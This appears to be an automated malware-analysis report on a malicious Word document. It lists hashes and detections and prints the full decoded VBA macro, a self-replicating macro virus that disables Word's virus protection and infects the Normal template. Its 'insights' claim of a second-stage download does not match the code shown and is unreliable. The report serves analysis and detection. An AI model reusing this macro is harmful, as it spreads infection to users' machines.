Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f009b21a511c543…

MALICIOUS

Office (OLE)

59.0 KB Created: 2020-04-21 05:24:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 351692690285a78aa12f29a839b26cc3 SHA-1: 1fe3346d2a19d64be008294ba73334769bc0c518 SHA-256: 3f009b21a511c543fd6e20ffd596286838fe54eeb2d5fd112ab2fd5f87a10216
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to download and execute a second-stage payload, as indicated by the 'APMPKILL' string and the heuristic firings for OLE_VBA_MACROS and OLE_VBA_DOCOPEN. The ClamAV detection further confirms its malicious nature. The document body's content is unrelated to the macro's functionality.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'KILL
    Private Sub Document_Open()
       On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1093 bytes
SHA-256: 07cd951e274ef58528f1ff0c595006d5455b8ba90c916e0bc6935d55b92907c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity1, 0, 0, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub